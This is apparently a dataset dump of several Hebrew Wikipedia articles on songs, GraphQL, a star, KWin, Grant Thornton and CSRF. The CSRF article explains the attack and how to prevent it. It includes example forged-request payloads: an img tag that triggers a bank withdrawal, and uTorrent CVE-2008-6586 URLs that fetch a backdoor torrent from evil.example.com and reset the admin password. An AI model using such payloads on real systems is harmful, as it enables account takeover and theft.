stanford-oval/wikipedia huggingface dataset:
Human (שיר של הקילרס)
הערות שוליים

↑  Fitzmaurice, Larry (31 באוקטובר 2008). "Killers on New Single: "It's Pet Shop Boys Meets Johnny Cash"". Spin. נבדק ב-12 ביולי 2017. {{cite news}}:  (עזרה)
↑  "Readers' Rock List: Best Songs Of 2008 : Rolling Stone : Rock and Roll Daily". Rolling Stone. אורכב מ-המקור ב-19 במרץ 2009. נבדק ב-22 במרץ 2009. {{cite journal}}:  (עזרה)
↑  "The Top 1,000 Songs Of All Time". XFM. 24 בדצמבר 2010. נבדק ב-26 באוגוסט 2011. {{cite web}}:  (עזרה)
↑  "Human by The Killers". Song of the Decade. אורכב מ-המקור ב-29 באוקטובר 2012. נבדק ב-11 באפריל 2010. {{cite web}}:  (עזרה)
↑  "150 Best Tracks Of The Past 15 Years". NME.COM. 6 באוקטובר 2011. {{cite web}}:  (עזרה)
↑  "HITS Daily Double : Rumor Mill - SPOTIFY CELEBRATES ITS FIRST DECADE".
| הקילרס |
| --- | --- | --- |
| דיסקוגרפיה ברנדון פלאוורס • דייב קיונינג • רוני ונוצ'י ג'וניור • מארק סטורמר | דיסקוגרפיה ברנדון פלאוורס • דייב קיונינג • רוני ונוצ'י ג'וניור • מארק סטורמר |  |
| אלבומים | Hot Fuss • Sam's Town • Day & Age • Battle Born • Wonderful Wonderful • Imploding the Mirage |  |
| אלבומי אוסף | Sawdust • Direct Hits • Don't Waste Your Wishes |  |
| אלבומים נוספים | Live from the Royal Albert Hall • (Red) Christmas EP |  |
| מסעי הופעות | Hot Fuss Tour • Sam's Town Tour • Day & Age World Tour • Battle Born World Tour • Wonderful Wonderful World Tour |  |
| הקילרס - סינגלים |
| --- | --- | --- |
| Hot Fuss | "Mr. Brightside" • "Somebody Told Me" • "All These Things That I've Done" • "Smile Like You Mean It" |  |
| Sam's Town‎ | "When You Were Young" • "Bones" • "Read My Mind" • "For Reasons Unknown" |  |
| Sawdust | "Shadowplay" • "Tranquilize" |  |
| Day & Age | "Human" • "Spaceman" • "The World We Live In" • "A Dustland Fairytale" |  |
| ‎(Red) Christmas | "A Great Big Sled" • "Don't Shoot Me Santa" • "Joseph, Better You Than Me" • "¡Happy Birthday Guadalupe!" • "Boots" |  |
| Battle Born | "Runaways" • "Miss Atomic Bomb" • "Here with Me" |  |
| Direct Hits | "Shot at the Night" • "Just Another Girl" |  |
| Wonderful Wonderful | "The Man"‏ • "Run for Cover"‏ • "Rut" |  |
| Wonderful Wonderful | "Caution"‏ • "Fire in Bone"‏ • "My Own Soul's Warning"‏ • "Dying Breed (שיר של הקילרס)" |  |
| --- | --- |
בקרת זהויות :  MusicBrainz release group: e6430473-94c8-3fe8-b81c-baeb55945185  MusicBrainz work: 01e000a4-2361-3e38-bc4f-4280428d1386
Human (שיר של כריסטינה פרי)

"Human" (בעברית: "אנושי") הוא סינגל של הזמרת-יוצרת האמריקאית, כריסטינה פרי, שמופיע כסינגל המוביל של אלבום האולפן השני שלה, Head or Heart. השיר יצא, על ידי חברת התקליטים אטלנטיק רקורדס, ב-18 בנובמבר 2013. השיר נכתב על ידי כריסטינה פרי ומרטין ג'ונסון (אנ'), והופק על ידי מרטין ג'ונסון.
מיקומי שיא

|   ‏‏‏  מצעדים ודירוגים (2013–2014)> מדינה |   ‏‏‏  מצעדים ודירוגים (2013–2014)> מצעד |   ‏‏‏  מצעדים ודירוגים (2013–2014)> מיקום שיא |   ‏‏‏  מצעדים ודירוגים (2013–2014)>  |
| --- | --- | --- | --- |
|  אוסטריה | Ö3 אוסטריה טופ 40‏ | 42 |  |
|  אוסטרליה | מצעד הסינגלים האוסטרלי | 39 |  |
|  אירלנד | מצעד הסינגלים האירי | 24 |  |
|  ארצות הברית | בילבורד הוט 100 | 31 |  |
|  ארצות הברית | מצעד השירים העכשוויים למבוגרים | 16 |  |
|  ארצות הברית | מצעד 40 השירים למבוגרים | 10 |  |
|  ארצות הברית | מצעד שירי הדאנס קלאב | 16 |  |
|  ארצות הברית | מצעד 40 שירי המיינסטרים | 31 |  |
|  גרמניה | GfK – טופ 100 | 59 |  |
|  הממלכה המאוחדת | מצעד הסינגלים הבריטי | 14 |  |
|  סלובקיה | ČNS IFPI | 13 |  |
|  ספרד | PROMUSICAE | 23 |  |
|  סקוטלנד | מצעד הסינגלים הסקוטי | 17 |  |
|  קנדה | קנדה הוט 100 | 71 |  |
|  שווייץ | המצעד השווייצרי | 14 |  |
|   ‏‏‏  מצעדי סוף שנה (2014)> מדינה |   ‏‏‏  מצעדי סוף שנה (2014)> מצעד |   ‏‏‏  מצעדי סוף שנה (2014)> מיקום שיא |   ‏‏‏  מצעדי סוף שנה (2014)>  |
| --- | --- | --- | --- |
|  ארצות הברית | בילבורד הוט 100 | - |  |
|  ארצות הברית | מצעד השירים העכשוויים למבוגרים | 44 |  |
|  ארצות הברית | מצעד 40 השירים למבוגרים | 33 |  |
נתוני מכירות

| אזור | תואר | מכירות |
| --- | --- | --- |
| אוסטרליה (ARIA) | פלטינה | 70,000 |
| קנדה (Music Canada) | פלטינה | 80,000 |
| דנמרק (IFPI Danmark) | זהב | 45,000 |
| הממלכה המאוחדת (BPI) | זהב | 400,000 |
| ארצות הברית (RIAA) | 3× פלטינה | 1,000,000 |
היסטוריית יציאות לאור

| אזור | תאריך | פורמט | חברת תקליטים | הערות |
| --- | --- | --- | --- | --- |
| קנדה | 18 בנובמבר 2013 | הורדת מוזיקה, הזרמת מוזיקה | אטלנטיק רקורדס |  |
| ארצות הברית | 18 בנובמבר 2013 | הורדת מוזיקה, הזרמת מוזיקה | אטלנטיק רקורדס |  |
| ארצות הברית | 9 בדצמבר 2013 | מוזיקה עכשווית למבוגרים | אטלנטיק רקורדס, RRP |  |
| ארצות הברית | 10 בדצמבר 2013 | להיט רדיו עכשווי | אטלנטיק רקורדס, RRP |  |
| הממלכה המאוחדת | 10 במרץ 2014 | הורדת מוזיקה, הזרמת מוזיקה | אטלנטיק רקורדס |  |
הערות שוליים

↑  Brad Wete (10 באפריל 2014). "Christina Perri, 'Head or Heart: Behind the Album': Documentary Premiere". Billboard. ארכיון מ-2020-09-26. נבדק ב-2022-11-18. {{cite web}}:  (עזרה) Video
↑  Paul Grein (11 ביוני 2014). "Chart Watch: Sam Smith Zooms Into Top 10". Yahoo Music. ארכיון מ-2014-10-12. נבדק ב-2022-11-18. {{cite news}}:  (עזרה)
↑  "human (2013) | Christina Perri". 7digital Canada. אורכב מ-המקור ב-2016-12-21. נבדק ב-18 בדצמבר 2016. {{cite web}}:  (עזרה)
↑  "human (2013) | Christina Perri". 7digital US. אורכב מ-המקור ב-2016-12-21. נבדק ב-18 בדצמבר 2016. {{cite web}}:  (עזרה)
↑  "Hot/Modern/AC Future Releases". All Access Media Group. אורכב מ-המקור ב-5 בנובמבר 2013. נבדק ב-18 בדצמבר 2016. {{cite web}}:  (עזרה)
↑  "Top 40/M Future Releases". All Access Media Group. אורכב מ-המקור ב-22 באוקטובר 2013. נבדק ב-18 בדצמבר 2016. {{cite web}}:  (עזרה)
↑  "human (2013) | Christina Perri". 7digital UK. אורכב מ-המקור ב-2016-12-21. נבדק ב-18 בדצמבר 2016. {{cite web}}:  (עזרה)
| --- | --- |
בקרת זהויות :  MusicBrainz release group: 9cbec8ae-428d-4c8b-9c25-6eec74ebaed4
Bulletproof

"Bulletproof" (בעברית: "חסין קליעים") הוא סינגל שהוקלט על ידי הזמרת השוודית, דוטר. השיר הוצא לאור ב-22 בפברואר 2020, על ידי חברת התקליטים "וורנר מיוזיק גרופ שוודיה". השיר בוצע על ידי דוטר בקדם השוודי לאירוויזיון 2020, מלודיפסטיבלן וזכה במקום השני עם 136 נקודות, נקודה אחת פחות מהשיר הזוכה "Move.
רקע

שלושת כותבות השיר מספרות כי ההשראה לשיר הייתה ממשחק קלפים שהשלושה שיחקו. במהלך המשחק, נוצר בין שתי חברות ויכוח על חוקי המשחק בו הטיחו אחת על השנייה קללות. לאחר הוויכוח, דוטר הסתגרה בחדרה והחלה לכתוב את השיר בהתבסס על הקללות שנאמרו בוויכוח.
ביקורות > רשימות כל הזמנים

| ארגון | רשימה | מיקום | מקור |
| --- | --- | --- | --- |
| בילבורד | 500 שירי הפופ של כל הזמנים | 291 |  |
מיקומי שיא

|   ‏‏‏  מצעדים ודירוגים (2020)> מדינה |   ‏‏‏  מצעדים ודירוגים (2020)> מצעד |   ‏‏‏  מצעדים ודירוגים (2020)> מיקום שיא |   ‏‏‏  מצעדים ודירוגים (2020)>  |
| --- | --- | --- | --- |
|  שוודיה | סוורייטופליסטן | 2 |  |
|   ‏‏‏  מצעדי סוף שנה (2020)> מדינה |   ‏‏‏  מצעדי סוף שנה (2020)> מצעד |   ‏‏‏  מצעדי סוף שנה (2020)> מיקום שיא |   ‏‏‏  מצעדי סוף שנה (2020)>  |
| --- | --- | --- | --- |
|  שוודיה | סוורייטופליסטן | 45 |  |
הערות שוליים

↑  The Mamas vinner Melodifestivalen 2020
↑  The 500 Best Pop Songs (Nos. 500-301): Staff List, בילבורד, ‏17 באוקטובר 2023 (באנגלית אמריקאית)
↑  Veckolista Singlar, vecka 11, 2020
↑  Årslista Singlar, 2020
GraphQL

| --- | --- |

 מפתח:  מטא, GraphQL Foundation, קהילה 
 מחזור חיים:  2012–הווה (כ־12 שנים) 
 סוג רישיון:  רישיון BSD החדש 
 קוד מקור:  https://github.com/graphql/graphql-spec 
 graphql.org
 
GraphQL היא שפת שאילתות קוד פתוח ושפת מניפולציה של נתונים עבור ממשקי תכנות בזמן ריצה. GraphQL פותחה באופן פנימי על ידי פייסבוק בשנת 2012 לפני שפורסמה בפומבי בשנת 2015. ב-7 בנובמבר 2018 הועבר פרויקט GraphQL מפייסבוק ל"קרן GraphQL" שהוקמה, בהנחיית קרן לינוקס ללא כוונת רווח. מאז 2012, גרף עליית אחוזי האימוץ של GraphQL בקהיליית המפתחים נעקב בקפידה על ידי לי ביירון, יוצר GraphQL. מטרתו של ביירון היא להפוך את GraphQL ל"נוכחת בכל מקום" בפלטפורמות אינטרנט.
GraphQL מספקת גישה לפיתוח ממשקי API ברשת, והיא הושוותה מול REST וארכיטקטורות שירות אינטרנט אחרות. זה מאפשר ללקוחות להגדיר את מבנה הנתונים הנדרש, ואותו מבנה הנתונים מוחזר מהשרת, ולכן מונע להחזיר כמויות גדולות מדי של נתונים, אך יש לכך השלכות על מידת היעילות של שמירת תוצאות שאילתות בזיכרון מטמון של שרתים ברשת. הגמישות והעושר של שפת השאילתות מוסיפים גם מורכבות שאולי לא משתלמת עבור ממשקי API פשוטים. הוא מורכב ממערכת סוגים (types), שפת שאילתות וסמנטיקה לביצוע, אימות סטטי, והתבוננות פנימית בסוג.
GraphQL תומך בקריאה, כתיבה, עריכה, ו"הירשמות כמנוי (subscribing) לשינויים בנתונים (עדכונים בזמן אמת - לרוב מיושמים באמצעות WebHooks). שרתי GraphQL זמינים במספר שפות, כולל Haskell, JavaScript, Perl, Python, Ruby, Java, C++,  C #, Scala, Go, Rust, Elixir, Erlang, PHP, R ו-Clojure.
דוגמה

בקשת POST :
{
  orders {
    id
    productsList {
      product {
        name
        price
      }
    quantity
    }
  totalAmount
  }
}
תשובה:
{
  "data": {
    "orders": [
      {
        "id": 1,
        "productsList": [
          {
            "product": {
              "name": "orange",
              "price": 1.5
            },
            "quantity": 100
          }
        ],
        "totalAmount": 150
      }
    ]
  }
}
ראו גם

LINQ
הערות שוליים

↑  "GraphQL: A query language for APIs".
↑  "GraphQL: A data query language".
↑  "Facebook's GraphQL gets its own open-source foundation". TechCrunch (באנגלית אמריקאית). נבדק ב-2018-11-07.
↑  "The Linux Foundation Announces Intent to Form New Foundation to Support GraphQL - The Linux Foundation". The Linux Foundation (באנגלית אמריקאית). 2018-11-06. נבדק ב-2018-11-07.
↑  Anthony, Art. "Is GraphQL Moving Toward Ubiquity?". NordicAPIs.
↑  "GraphQL vs REST: Overview". Phil Sturgeon (באנגלית בריטית). נבדק ב-2018-11-25.
↑  "Why use GraphQL, good and bad reasons". Honest Engineering (באנגלית אמריקאית). 2018-08-04. נבדק ב-2018-11-26.
↑  "GraphQL Fundamentals". Howto GraphQL. נבדק ב-4 ביולי 2018. {{cite web}}:  (עזרה)
↑  "GraphQL". facebook.github.io. Facebook. אורכב מ-המקור ב-18 ביולי 2018. נבדק ב-4 ביולי 2018. {{cite web}}:  (עזרה)
↑  "Hasura – Instant Realtime GraphQL on Postgres". Hasura. נבדק ב-24 באוקטובר 2019. {{cite web}}:  (עזרה)
↑  "GraphQL js".
↑  "GraphQL - Perl implementation of GraphQL".
↑  "Graphene". graphene-python.org. נבדק ב-2017-06-18.
↑  graphql/libgraphqlparser, GraphQL, 2020-05-27, נבדק ב-2020-05-30
↑  "Absinthe: The GraphQL toolkit for Elixir". נבדק ב-19 ביולי 2018. {{cite web}}:  (עזרה)
KW בקשת

| --- | --- |

 נתוני תצפית
 קבוצת כוכבים:  קשת
 סוג:  על-ענק אדום
 בהירות נראית:  13.2 - 11.0
 סיווג ספקטרלי:  M1.5lab
 עלייה ישרה:  17ʰ 52ᵐ 00ˢ מילי-שניות קשת בשנה
 נטייה:  ‏20.5622″ ‏01′ ‏28°‏+ מילי-שניות קשת בשנה
 מאפיינים פיזיים
 בהירות מוחלטת:  1.3 - 0.9-
 מרחק:  7,800  שנות אור 2,391.46  פארסק
 רדיוס:  1,009 - 1,460 רדיוסי שמש
 מסה:  25 מסות שמש
 עוצמת הארה:  פי 176,000 - 360,000 מהשמש
 טמפרטורה:  3,700 K
 מהירות סיבוב:  7.4 ק"מ/שנייה
 מהירות רדיאלית:  −7.40 קילומטר לשנייה
 היסט:  0.5281±0.1392 אלפיות של שניות קשת
 
KW בקשת הוא על-ענק אדום שנמצא במרחק 7,800 שנות אור מכדור הארץ וממוקם בקבוצת הכוכבים קשת. רדיוס הכוכב נע בין 1,009 ל-1,460 רדיוסי שמש, והוא אחד הכוכבים הגדולים הידועים לאנושות. טמפרטורת מעטפת הכוכב היא 3,700 קלווין. צפיפות הכוכב קטנה פי 200,000 עד 350,000 מצפיפות השמש. בהירות נראית הכוכב  משתנה באופן סדיר למחצה בין דרגות בהירות 11 ו-13.2.
במחקר שבוצע בשנת 2004 הכוכב נכלל ברשימת כוכבי על-ענק אדום הכי גדולים והכי בהירים לצד V354 בקפאוס, KY בברבור ו- μ בקפאוס
הערות שוליים

↑  https://iopscience.iop.org/article/10.1086/430901
KWin

| --- | --- |


 מפתח:  KDE 
 גרסה אחרונה:  6.1.0 (12 ביוני 2024) 
 מערכת הפעלה:  מערכת הפעלה דמוית יוניקס 
 נכתבה בשפות:  C++ 
 סוג רישיון:  הרישיון הציבורי הכללי המוקטן של גנו 
 קוד מקור:  https://invent.kde.org/plasma/kwin 
 אתר רשמי
 
KWin הוא מנהל חלונות המיועד למערכת X11. הוא מהווה חלק אינטגרלי משולחן העבודה KDE, ויכול לשמש לסביבות עבודה נוספות. כברירת מחדל מגיע מראה החלונות עם ערכת הנושא של Oxygen, אך יכול להשתנות לערכות נושא נוספות. בנוסף ניתנת אפשרות להגדרות ניהול חלונות ברמת התנועה, אשר חלקן מקבילות למערכת קומפיז.
הקמיע של KDE, קונקי, משתמש במנהל החלונות
הערות שוליים

↑  על KWin באתר KDE - http://techbase.kde.org/Projects/KWin
ערך זה הוא קצרמרבנושא מחשבים. אתם מוזמנים לתרום לוויקיפדיה ו.
Grateful (שיר)

| --- | --- |

 סינגל שיווקי בביצוע ריטה אורה
 מתוך האלבום Beyond the Lights
 יצא לאור:  11 בנובמבר 2014
 פורמט:  יוטיוב
 תאריך הקלטה:  2014
 סוגה:  פופ • בלדה
 שפה:  אנגלית
 אורך:  4:04
 חברת תקליטים:  מאבריק • האחים וורנר
 כתיבה:  דיאן וורן
 לחן:  וורן
 הפקה:  דה ארקייד
"Grateful" (בעברית: אסיר תודה) הוא סינגל שיווקי שהוקלט על ידי הזמרת-יוצרת הבריטית ריטה אורה, מתוך הפסקול, Beyond the Lights. השיר יצא לאור ב-11 בנובמבר 2014, כסינגל שיווקי מתוך הפסקול.
בשנת 2015 זכה השיר למועמדות בטקס פרסי Black Reel.
רקע וכתיבה

השיר נכתב והולחן על ידי דיאן וורן, שנודעה ככותבת השירים "Un-Break My Heart", "I Turn to You" ו-"Could I Have This Kiss Forever". כמו כן, זכה השיר למועמדות בטקס פרסי אוסקר ה-87, בקטגוריית "השיר המקורי הטוב ביותר".
בנוסף לכך, הועלה השיר לרשת הזרמת המדיה ספוטיפיי.
מיקומי שיא

|   ‏‏‏  מצעדים ודירוגים (2014)> מדינה |   ‏‏‏  מצעדים ודירוגים (2014)> מצעד |   ‏‏‏  מצעדים ודירוגים (2014)> מיקום שיא |   ‏‏‏  מצעדים ודירוגים (2014)>  |
| --- | --- | --- | --- |
|  הממלכה המאוחדת | מצעד הסינגלים הבריטי | - |  |
הערות שוליים

↑  Rita Ora, 'Grateful': Exclusive Song Premiere from the 'Beyond The Lights' Soundtrack, Billboard
↑  HitFix
↑  Diane Warren, Genius (באנגלית)
↑  Refresher! Who's Nominated for a 2015 Oscar?, Us Weekly, ‏2015-01-15 (באנגלית)
↑  Beyond the Lights (Original Motion Picture Soundtrack), נבדק ב-2019-06-21
| ריטה אורה |
| --- | --- | --- |
| דיסקוגרפיה • פרסים ומועמדויות | דיסקוגרפיה • פרסים ומועמדויות |  |
| אלבומי אולפן | Ora • Phoenix • You & I |  |
| מיני-אלבומים | Bang |  |
| סינגלים | "R.I.P." • "How We Do (Party)" • "Shine Ya Light" • "Radioactive" • "I Will Never Let You Down" • "Poison" • "Body on Me" • "Coming Home" • "Your Song" • "Anywhere" • "For You" • "Girls" • "Let You Love Me" • "Only Want You" • "Carry On" • "Ritual" • "How to Be Lonely" • "Big" • "You for Me" • "Seaside" • "Follow Me" • "Barricades" •  ‏"You Only Love Me" • "Praising You" • "Don't Think Twice" |  |
| השתתפות בסינגלים | "Hot Right Now" • "Lay Down Your Weapons" • "Black Widow" • "Doing It" • "New York Raining" • "Lonely Together" • "R.I.P." |  |
| שירים אחרים | "Better than You" • "Torn Apart" • "Grateful" • "New Look" |  |
| סיבובי הופעות | Ora Tour • Radioactive Tour • The Girls Tour • Phoenix World Tour |  |
CSRF

CSRF (אנגלית: Cross Site Request Forgery) היא התקפה נגד גולש אינטרנט המאלצת את דפדפן האינטרנט של הגולש לבצע פעולות לא רצוניות ביישומי אינטרנט בשמו של המשתמש בשירות באמצעות ניצול מגבלות בפרוטוקול HTTP.
בהתקפה זו התוקף, על ידי הרצת קוד בצורה סמויה, מבצע פעולות שונות בשם הקורבן, כגון: לגרום למשתמש להעביר כספים לגורם שלישי, לרכוש פריטים שונים, לשנות כתובת דואר אלקטרוני מוגדרת לכתובת אחרת, או להחליף תמונת פרופיל, כל זאת מבלי שהקורבן מודע לביצוע פעולות אלה.
היסטוריה

התקפות CSRF התגלו לראשונה בשנת 2001 לאחר מספר מקרים שונים. למרות שהתגלו, היה קשה לאמת אותן כיוון שההתקפות התבצעו מכתובת ה-IP של המשתמש בשירות.
בשנת 2006 התגלו באתר נטפליקס, המספק שירותי וידאו והשכרת סרטים, פגיעות אשר אפשרה לתוקפים לבצע פעולות שונות בחשבונם של המשתמשים כגון: שינוי פרטי כניסה, שינוי כתובת ואף גם לשכור סרטים חדשים והוספתם אל חשבון המשתמש.
פגיעויות באתר הבנק האינטרנטי ING Direct, אפשרו העברות כספים לא חוקיות.
בשנת 2008 התגלתה פגיעות באתר YouTube המאפשרת לתוקף לשלוט באופן כמעט מלא בחשבון המשתמש של הקורבן.
לקוחות בנק מקסיקני התריעו על קבלת מייל עם תמונה, לחיצה עליה שולחת פקודה אל הנתב הביתי של הקורבן ומחליפה בשמם את רשומות ה-DNS של הבנק. בכל פעם שהיו מנסים לגשת לאתר של הבנק, היו הקורבנות מגיעים אל אתר זדוני ומתחזה.
פגיעות באתר של חברת האנטי וירוס, McAfee, אפשרה לתוקפים לשנות את מערכות החברה.
שימוש

ההתקפה מתבצעת על ידי הצבת קישור לדף אינטרנט, פרסומת או תמונה, בפורומים, צ'אטים, דואר זבל ועוד. לאחר הלחיצה על הקישור, התוכנית מנסה לקבל גישה לאתר. לאחר שהמשתמש כבר אומת מול השרת, התוקף יוכל לבצע את פעולתו.
לדוגמה: בעזרת כישורי הנדסה חברתית תישלח אל הקורבן הודעה ותשכנע אותו ללחוץ על קישור/תמונה בהם התוקף הכניס תגים או סקריפטים:
"היי אליס! שמי בוב, ואני רוצה להציע לך ביטוח רכב ל-3 חודשים ללא עלות. לפרטים נוספים, לחצי על התמונה":
<img src="http://bank.example.com/withdraw?account=Alice&amount=1000000&for=attacker">
אם הבנק של אליס שומר את אימות המשתמש ובמקרה שתוקף העוגייה לא פג, לאחר שאליס תלחץ על התמונה, הדפדפן שלה ישלח בקשה להעברת כסף לחשבון של בוב ויאמת זאת באמצעות אותה העוגייה. משמעות הדבר שהעסקה תושלם בהצלחה, למרות שכל זה קורה ללא אישורה וידיעתה של אליס.
דוגמה נוספת:
פגיעות באתר הטורנטים הפופולרי uTorrent - יוטורנט (CVE-2008-6586) ניצלה את העובדה שהאתר נגיש ב-localhost:8080 ואפשרה לבצע פעולות פשוטות בעזרת פעולות GET פשוטות:
הורדת קובץ ללא הסכמת המשתמש:
http://localhost:8080/gui/?action=add-url&amp;s=http://evil.example.com/backdoor.torrent
שינוי סיסמאת האדמין של uTorrent - יוטורנט:
http://localhost:8080/gui/?action=setsetting&amp;s=webui.password&amp;v=eviladmin
ניתן להשתמש גם בהזנה מיוחדת של קוד HTML הנקראת BBCode באופן הבא:
[Img]http://localhost:8080/gui/?Action=add-url&amp;shttp://evil.example.com/backdoor.torrent[/img]
במקרה של קשר בין יישום מקומי לבין קישור התקפי, הדפדפן ישלח באופן אוטומטי את כל קובצי העוגייה הקיימים של אותו היישום.
תכונה זו מאפשרת להתקפות CSRF לנצל את הפגיעות שלהן ולבצע פעולות עוינות כל עוד המשתמש מחובר לאתר היעד בזמן ההתקפה.
התכונות הבאות מאפיינות התקפת CSRF:
ההתקפה עשויה לחול על אתרים המסתמכים על זהות המשתמש.
ההתקפה מנצלת שירותי האמון של האפליקציה.
ההתקפה מרמה את דפדפן האינטרנט וגורמת לו לשלוח בקשת HTTP לא רצויה לאתר היעד.
ההתקפה מכוונת את דפדפני האינטרנט לבצע פעולות מאומתות על ידי עוגיות מבלי ידיעתם של המשתמשים וללא אישורם.
הגבלות

כדי שהתקפה זו תצליח יש לשים לב למספר דברים:
על התוקף למקד את ההתקפה על אתר שאינו בודק את הכותרת המפנה (referrer header), דפדפן או תוסף ולמצוא אתר המאפשר זיופים של הפניות.
על התוקף למצוא אתר שבו מוגשות בקשות (טפסים) מצד הלקוח (העברות כספים, שינוי כתובת דוא"ל או סיסמה של הקורבן ועוד).
התוקף חייב להכניס ערכים נכונים בכל הטפסים המוזנים באתר. במקרה שאחד מהתאים ידרוש מהקורבן למלא פרטים שהתוקף לא יכול לנחש, כגון: קוד אימות סודי או תעודת זהות, סביר להניח שהתקפה זו תיכשל.
התוקף צריך לפתות את הקורבן להיכנס אל דף האינטרנט הזדוני בזמן שהקורבן עדיין מחובר לאתר אליו מכוונת התקיפה.
זוהי התקפה עיוורת. משמעות הדבר שהתוקף אינו יכול לראות מה אתר היעד שולח בחזרה לקורבן כתגובה לבקשות המזויפות, אלא אם כן מוצאים ומנצלים באגים באתר היעד.
בעקבות אילוצים אלה, ייתכן שתוקף יתקשה למצוא קורבנות.
מניעה

הן משתמשים והן מפתחי אתרים יכולים למנוע התקפות CSRF פעילות.
התקפה מוצלחת דורשת מילוי שני תנאים:
המשתמש חייב להיות מחובר לאתר.
פתרון יעיל לבעיה זו הוא לבצע התנתקות מהאתר שבו בוצעה הפעולה מיד לאחר סיומה ולא לאפשר לדפדפן האינטרנט לשמור את ססמת האפליקציה.
דפדפן הקורבן חייב לשלוח לאתר היעד בקשה לביצוע פעולה לא רצויה.
פתרון יעיל לבעיה זו יהיה הימנעות מלחיצה על קישורים או תמונות בתכתובות דואר אלקטרוני, ולהימנע מביקור באתרים לא-מוכרים והזנת פרטים אישיים.
ישנן מספר שיטות של מפתחי אתרים המקשות לבצע התקפות CSRF:
הגבלת זמן השהייה בחשבון - פקיעת תוקף לאחר זמן מסוים בו לא בוצעה שום פעולה.
יש לבקש אישור מהמשתמש בעבור כל פעולה חשובה המתבצעת באתר.
בעבור כל שליחת טופס ניתן להוסיף שדה נסתר המכיל מספר פסאודו-אקראי אשר יוגש עם הבקשה לביצוע פעולה, ואם הערך לא יוצג בטופס, השרת יתעלם מהפעולה.
אימות הכותרת המפנה (referrer header), אשר מבטיח כי הערך זמין רק עבור סקריפטים מהדף המקורי.
ביצוע פעולה חשודה ישלח הודעת SMS ישירות אל המשתמש מיד לאחר ניסיון הביצוע.
שליחת בקשות בשיטת POST ולא באמצעות GET.
ראו גם

XSS
הזרקת SQL
Directory Traversal
File Inclusion
הערות שוליים

↑  Ivan Ristic, Apache security, Beijing ; Sebastopol, CA : O'Reilly Media, 2005, ISBN 978-0-596-00724-9
↑  S. C. Staff, Netflix fixes cross-site request forgery hole, SC Media, ‏2006-10-18
1 2  Cross-Site Request Forgeries: Exploitation and Prevention
↑  CSRF: Yeah, it still works…
Help Yourself

ערך זה עוסק בשיר של איימי ויינהאוס. אם התכוונתם לשיר של טום ג'ונס, ראו .
Help Yourself (בעברית: עזור לעצמך) הוא סינגל שהוקלט על ידי הזמרת-יוצרת האנגלית איימי ויינהאוס, מתוך אלבום הבכורה שלה, Frank. השיר יצא לאור ב-23 באוגוסט 2004, ביחד עם "Fuck Me Pumps", כסינגל הרביעי מתוך האלבום.
שני השירים כאחד הצליחו להיכנס למצעד הסינגלים הבריטי והסקוטי בלבד, והגיעו בשיאם אל המקום ה-65.
רקע וכתיבה

השיר נכתב על ידי איימי ויינהאוס וג'ימי הוגארת', שגם הפיק את השיר. על הבס, תופים, גיטרה וכלי ההקשה היה אחראי ג'ימי הוגארת', על העוגב וקרן היער היה אחראי מרטין סלאטרי, ועל עריכת השיר היו אחראים קמרון קרייג וג'ימי הוגארת'.
לשיר יצאו כמה עטיפות, חלקן מכלילות את שמו הפרובוקטיבי של "Fuck Me Pumps", וחלקן אף היו עטיפות "נקיות" ולא פרובוקטיביות. השיר צבר 10 מיליון השמעות בספוטיפיי.
רשימת השמעה

("UK CD single ("Pumps / Help Yourself
"Pumps"
"Help Yourself"
(There Is) No Greater Love" (AOL Session)"
(UK CD single ("Help Yourself / Pumps" special edition
"Help Yourself" (גרסת רדיו) – 4:00
"Pumps" (גרסת רדיו נקייה) – 3:19
מיקומי שיא

|   ‏‏‏  מצעדים ודירוגים (2004)> מדינה |   ‏‏‏  מצעדים ודירוגים (2004)> מצעד |   ‏‏‏  מצעדים ודירוגים (2004)> מיקום שיא |   ‏‏‏  מצעדים ודירוגים (2004)>  |
| --- | --- | --- | --- |
|  הממלכה המאוחדת | מצעד הסינגלים הבריטי | 65 |  |
|  הממלכה המאוחדת | מצעד הרית'ם אנד בלוז הבריטי | 19 |  |
|  סקוטלנד | מצעד הסינגלים הסקוטי | 83 |  |
הערות שוליים

↑  Official Singles Chart Top 100 | Official Charts Company, www.officialcharts.com (באנגלית)
↑  Pumps/Help Yourself - Amy Winehouse | Release Info | AllMusic, AllMusic
↑  Amy Winehouse - Pumps / Help Yourself, Discogs (באנגלית)
↑  "Amy Winehouse - Help Yourself/Pumps - Single Review". Contactmusic.com (באנגלית אמריקאית). 2004-08-19. נבדק ב-2017-12-28.
↑  Help Yourself, נבדק ב-2020-04-02
↑  Pumps / Help Yourself, 2004-08-23, נבדק ב-2017-12-28
↑  Help Yourself / Pumps, נבדק ב-2017-12-28
| איימי ויינהאוס |
| --- | --- | --- |
| דיסקוגרפיה • פרסים ומועמדויות • שירים | דיסקוגרפיה • פרסים ומועמדויות • שירים |  |
| אלבום אולפן | Frank • Back to Black |  |
| אלבומי אוסף | Lioness: Hidden Treasures |  |
| אלבומי הופעה | Amy Winehouse at the BBC |  |
| אלבומי וידאו | I Told You I Was Trouble: Live in London |  |
| ערכים קשורים | "איימי" (פסקול) • "איימי ויינהאוס: בחזרה לשחור" • דיון ברומפילד • טיילר ג'יימס • לייונס רקורדס • מארק רונסון • פסל • קרן איימי ויינהאוס |  |
| איימי ויינהאוס – סינגלים |
| --- | --- | --- |
| Frank | "Stronger Than Me" • "Take the Box" • "In My Bed" • "You Sent Me Flying" • "Fuck Me Pumps" • "Help Yourself" |  |
| Back to Black | "Rehab" • "You Know I'm No Good" • "Back to Black" • "Tears Dry on Their Own" • "Love Is a Losing Game" |  |
| Lioness: Hidden Treasures | "Body and Soul" • "Our Day Will Come" |  |
| שירים נוספים | "Valerie" • "B Boy Baby" • "Cherry Wine" |  |
| --- | --- |
בקרת זהויות :  MusicBrainz work: 2f39f65e-ca25-4686-9799-96e486b1884f
Grant Thornton International

| --- | --- |


 נתונים כלליים
 סוג:  רשת של חברות עצמאיות
 תקופת הפעילות:  1980–הווה (כ־44 שנים)
 מיקום המטה:  לונדון, אנגליה
 ענפי תעשייה:  שירותים מקצועיים
 מנכ"ל:  פטר בודין
 עובדים:  68,000
  
 www.grantthornton.glob
 
גרנט ת'ורנטון אינטרנשיונל (באנגלית: Grant Thornton International) היא פירמת ייעוץ וראיית חשבון בינלאומית המספקת שירותי ביקורת, מס, ניהול סיכונים, ייעוץ כלכלי פיננסי וייעוץ ניהולי בתחומי אסטרטגיה, תפעול, סייבר, טכנולוגיה, ניהול ידע והון אנושי.
נכון לשנת 2023 מעסיקה החברה כ-68,000 עובדים, פועלת בכ-147 מדינות שונות ומחזור הכספים שלה עמד על כ-7.2 מיליארד דולר.
